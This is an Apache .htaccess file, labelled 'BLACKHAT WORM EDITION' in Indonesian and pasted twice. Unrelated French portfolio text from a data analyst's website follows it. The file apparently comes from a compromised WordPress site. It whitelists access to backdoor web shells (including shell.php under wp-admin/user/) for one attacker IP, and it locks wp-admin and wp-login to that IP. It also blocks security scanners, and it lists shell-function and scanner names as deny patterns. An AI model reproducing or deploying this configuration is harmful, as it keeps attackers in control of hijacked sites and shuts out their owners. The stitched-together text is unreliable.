# =================================================================
# .HTACCESS UNIVERSAL V3 - BLACKHAT WORM EDITION
# KOMPATIBEL DENGAN APACHE 2.2, 2.4, DAN SEMUA HOSTING
# IP YANG DIIZINKAN: 138.199.60.176
# WARNING: JANGAN UBAH ATURAN INI KALAU TIDAK PAHAM
# =================================================================
RewriteEngine On
RewriteBase /
# =================================================================
# 1. BLOKIR SEMUA USER-AGENT BERBAHAYA
# =================================================================
RewriteCond %{HTTP_USER_AGENT} (?:^$|libwww|perl|python|nikto|curl|wget|scan|java|php|webzip|sqlmap|nmap) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (havij|masscan|zgrab|zgrab2|wpscan|joomscan|acunetix) [NC]
RewriteRule .* - [F,L]
# =================================================================
# 2. BLOKIR REQUEST YANG MENGANDUNG POLA EKSPLOIT
# =================================================================
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR,NC]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) [OR,NC]
RewriteCond %{QUERY_STRING} (eval\(|base64_decode|system\(|shell_exec|passthru|popen|proc_open) [NC,OR]
RewriteCond %{QUERY_STRING} (concat|union|select|insert|update|delete|drop|create|alter) [NC,OR]
RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [NC,OR]
RewriteCond %{QUERY_STRING} (localhost|127\.0\.0\.1) [NC]
RewriteRule .* - [F,L]
# =================================================================
# 3. BLOKIR METODE HTTP YANG TIDAK DIPERLUKAN
# =================================================================
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS|HEAD|PUT|DELETE) [NC]
RewriteRule .* - [F,L]
# =================================================================
# 4. IZINKAN BACKDOOR ANDA (HANYA DARI IP ANDA)
# =================================================================
RewriteCond %{REMOTE_ADDR} ^138\.199\.60\.176$
RewriteRule ^wp-admin/user/(themes|class-wp-html-text-templates|index|shell)\.php$ - [L]
# =================================================================
# 5. BLOKIR SEMUA FILE PHP DI FOLDER SENSITIF
# =================================================================
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteRule ^wp-content/uploads/.*\.(php|phtml|php3|php4|php5|phar|inc|module|sh|pl|cgi)$ - [F,L]
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteRule ^wp-content/cache/.*\.(php|phtml|php3|php4|php5|phar|inc)$ - [F,L]
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteRule ^wp-content/upgrade/.*\.(php|phtml|php3|php4|php5|phar)$ - [F,L]
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteRule ^wp-content/languages/.*\.(php|phtml)$ - [F,L]
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} !^/wp-includes/(wp-db\.php|wp-load\.php|version\.php|class-wp-.*\.php|functions\.php)$
RewriteRule ^wp-includes/.*\.(php|phtml)$ - [F,L]
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} !^/wp-admin/(admin-ajax\.php|admin-post\.php|admin\.php|load-scripts\.php|load-styles\.php)$
RewriteRule ^wp-admin/.*\.(php|phtml)$ - [F,L]
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} !^/wp-content/themes/.*/(functions|header|footer|page|single|index|style)\.php$
RewriteRule ^wp-content/themes/.*\.(php|phtml)$ - [F,L]
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} !^/wp-content/plugins/.*/(index|plugin|load)\.php$
RewriteRule ^wp-content/plugins/.*\.(php|phtml)$ - [F,L]
# =================================================================
# 6. BLOKIR AKSES WP-ADMIN DAN WP-LOGIN (KECUALI IP ANDA)
# =================================================================
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} ^/wp-admin
RewriteRule .* - [F,L]
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} ^/wp-login\.php
RewriteRule .* - [F,L]
# =================================================================
# 7. BLOKIR AKSES KE FILE SENSITIF (VERSI KOMPATIBEL)
# =================================================================
Order Deny,Allow
Deny from all
# =================================================================
# 8. MATIKAN DIRECTORY BROWSING
# =================================================================
Options -Indexes
# =================================================================
# 9. PROTECTION TERHADAP FILE UPLOAD DENGAN EKSTENSI GANDA
# =================================================================
RewriteCond %{REQUEST_FILENAME} .*\.(jpg|jpeg|png|gif|bmp|ico|svg|pdf|doc|docx|xls|xlsx|zip|rar|txt)\.(php|phtml|php3|php4|php5|phar)$ [NC]
RewriteRule .* - [F,L]
# =================================================================
# 10. SET HEADER KEAMANAN EKSTRA
# =================================================================
Header set X-Frame-Options "SAMEORIGIN"
Header set X-Content-Type-Options "nosniff"
Header set X-XSS-Protection "1; mode=block"
Header set Referrer-Policy "strict-origin-when-cross-origin"
Header set Permissions-Policy "geolocation=(), microphone=(), camera=()"
# =================================================================
# 11. ATURAN DEFAULT WORDPRESS
# =================================================================
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# =================================================================
# 12. BLOKIR AKSES LANGSUNG KE FILE XML-RPC (VERSI KOMPATIBEL)
# =================================================================
Order Deny,Allow
Deny from all
# =================================================================
# 13. BLOKIR AKSES KE FILE INSTALL
# =================================================================
Order Deny,Allow
Deny from all
# =================================================================
# END OF .HTACCESS UNIVERSAL V3
# =================================================================# =================================================================
# .HTACCESS UNIVERSAL V3 - BLACKHAT WORM EDITION
# KOMPATIBEL DENGAN APACHE 2.2, 2.4, DAN SEMUA HOSTING
# IP YANG DIIZINKAN: 138.199.60.176
# WARNING: JANGAN UBAH ATURAN INI KALAU TIDAK PAHAM
# =================================================================
RewriteEngine On
RewriteBase /
# =================================================================
# 1. BLOKIR SEMUA USER-AGENT BERBAHAYA
# =================================================================
RewriteCond %{HTTP_USER_AGENT} (?:^$|libwww|perl|python|nikto|curl|wget|scan|java|php|webzip|sqlmap|nmap) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (havij|masscan|zgrab|zgrab2|wpscan|joomscan|acunetix) [NC]
RewriteRule .* - [F,L]
# =================================================================
# 2. BLOKIR REQUEST YANG MENGANDUNG POLA EKSPLOIT
# =================================================================
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR,NC]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) [OR,NC]
RewriteCond %{QUERY_STRING} (eval\(|base64_decode|system\(|shell_exec|passthru|popen|proc_open) [NC,OR]
RewriteCond %{QUERY_STRING} (concat|union|select|insert|update|delete|drop|create|alter) [NC,OR]
RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [NC,OR]
RewriteCond %{QUERY_STRING} (localhost|127\.0\.0\.1) [NC]
RewriteRule .* - [F,L]
# =================================================================
# 3. BLOKIR METODE HTTP YANG TIDAK DIPERLUKAN
# =================================================================
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS|HEAD|PUT|DELETE) [NC]
RewriteRule .* - [F,L]
# =================================================================
# 4. IZINKAN BACKDOOR ANDA (HANYA DARI IP ANDA)
# =================================================================
RewriteCond %{REMOTE_ADDR} ^138\.199\.60\.176$
RewriteRule ^wp-admin/user/(themes|class-wp-html-text-templates|index|shell)\.php$ - [L]
# =================================================================
# 5. BLOKIR SEMUA FILE PHP DI FOLDER SENSITIF
# =================================================================
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteRule ^wp-content/uploads/.*\.(php|phtml|php3|php4|php5|phar|inc|module|sh|pl|cgi)$ - [F,L]
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteRule ^wp-content/cache/.*\.(php|phtml|php3|php4|php5|phar|inc)$ - [F,L]
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteRule ^wp-content/upgrade/.*\.(php|phtml|php3|php4|php5|phar)$ - [F,L]
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteRule ^wp-content/languages/.*\.(php|phtml)$ - [F,L]
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} !^/wp-includes/(wp-db\.php|wp-load\.php|version\.php|class-wp-.*\.php|functions\.php)$
RewriteRule ^wp-includes/.*\.(php|phtml)$ - [F,L]
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} !^/wp-admin/(admin-ajax\.php|admin-post\.php|admin\.php|load-scripts\.php|load-styles\.php)$
RewriteRule ^wp-admin/.*\.(php|phtml)$ - [F,L]
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} !^/wp-content/themes/.*/(functions|header|footer|page|single|index|style)\.php$
RewriteRule ^wp-content/themes/.*\.(php|phtml)$ - [F,L]
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} !^/wp-content/plugins/.*/(index|plugin|load)\.php$
RewriteRule ^wp-content/plugins/.*\.(php|phtml)$ - [F,L]
# =================================================================
# 6. BLOKIR AKSES WP-ADMIN DAN WP-LOGIN (KECUALI IP ANDA)
# =================================================================
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} ^/wp-admin
RewriteRule .* - [F,L]
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} ^/wp-login\.php
RewriteRule .* - [F,L]
# =================================================================
# 7. BLOKIR AKSES KE FILE SENSITIF (VERSI KOMPATIBEL)
# =================================================================
Order Deny,Allow
Deny from all
# =================================================================
# 8. MATIKAN DIRECTORY BROWSING
# =================================================================
Options -Indexes
# =================================================================
# 9. PROTECTION TERHADAP FILE UPLOAD DENGAN EKSTENSI GANDA
# =================================================================
RewriteCond %{REQUEST_FILENAME} .*\.(jpg|jpeg|png|gif|bmp|ico|svg|pdf|doc|docx|xls|xlsx|zip|rar|txt)\.(php|phtml|php3|php4|php5|phar)$ [NC]
RewriteRule .* - [F,L]
# =================================================================
# 10. SET HEADER KEAMANAN EKSTRA
# =================================================================
Header set X-Frame-Options "SAMEORIGIN"
Header set X-Content-Type-Options "nosniff"
Header set X-XSS-Protection "1; mode=block"
Header set Referrer-Policy "strict-origin-when-cross-origin"
Header set Permissions-Policy "geolocation=(), microphone=(), camera=()"
# =================================================================
# 11. ATURAN DEFAULT WORDPRESS
# =================================================================
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# =================================================================
# 12. BLOKIR AKSES LANGSUNG KE FILE XML-RPC (VERSI KOMPATIBEL)
# =================================================================
Order Deny,Allow
Deny from all
# =================================================================
# 13. BLOKIR AKSES KE FILE INSTALL
# =================================================================
Order Deny,Allow
Deny from all
# =================================================================
# END OF .HTACCESS UNIVERSAL V3
# =================================================================
Alexandre Duvernay | Data Analyst Business Intelligence – Transforming Data into Actionable Insights.
Aller au contenu
Alexandre Duvernay
Data Analyst Business Intelligence
Transformer des données en insights exploitables
Actualités
30 janvier 2025
📊 Évolution des transactions immobilières à Paris : quelle tendance pour 2024 ? 🏡 Depuis 2014, le marché immobilier parisien…
23 janvier 2025
En tant que data analyst passionné par l’immobilier, j’ai analysé les données issues des mutations immobilières DVF (base publique des…
16 janvier 2025
L’évolution des prix de l’immobilier est un sujet qui intéresse particulièrement les investisseurs et les acheteurs potentiels. En Haute-Savoie (Département…
23 décembre 2024
Je suis ravi de partager une grande nouvelle : j’ai terminé avec succès ma formation en Data Analyst BI. 🚀…
26 novembre 2024
Description Utilisation de techniques de data science pour prédire les valorisations d’actifs immobilier en vue de statuer sur le segment…
A propos
Avec +20 ans d’expérience dans le digital, j’ai développé une expertise polyvalente en gestion de projets, conception web et optimisation de solutions numériques.
Particulièrement intéressé par les données et leur potentiel pour orienter les décisions stratégiques, j’ai récemment complété une formation de Data Analyst BI. Il m’est ainsi possible d’allier compétences techniques et analytiques pour définir et transformer des données en insights exploitables.
Également passionné par l’immobilier et l’investissement locatif, je travaille actuellement au développement d’une plateforme de gestion de colocation gratuite (1coloc.com).
Mon Portfolio Data
Description Mise en place d’une veille métier au travers d’un tableau de bord sous Power…
Description Analyse des tendances dans le domaine du jeu vidéo en vue de développer un…
Description Projet de data visualisation pour améliorer la compétitivité, l’organisation interne et la croissance d’une…
Description Utilisation de techniques de data science pour prédire les valorisations d’actifs immobilier en vue…
Description Dans l’objectif d’évaluer les performances des différents projets pour les départements IT et Marketing…
Description Analyse des données de vente d’une entreprise de spiritueux sur la base des données…
Description Analyse des données de la satisfaction client dans le cadre d’un projet stratégique de…
Description Traitement des données d’un courtier en assurance automobile dans le respect des réglementations (RGPD)….
Descritpion Importation de données CSV dans une base de donnée et requêtage SQL. Livrables Support…
Description Analyse des données client d’une banque en ligne en vue de comprendre quels sont…
Alexandre Duvernay DATA ANALYST BI
& Founder @1coloc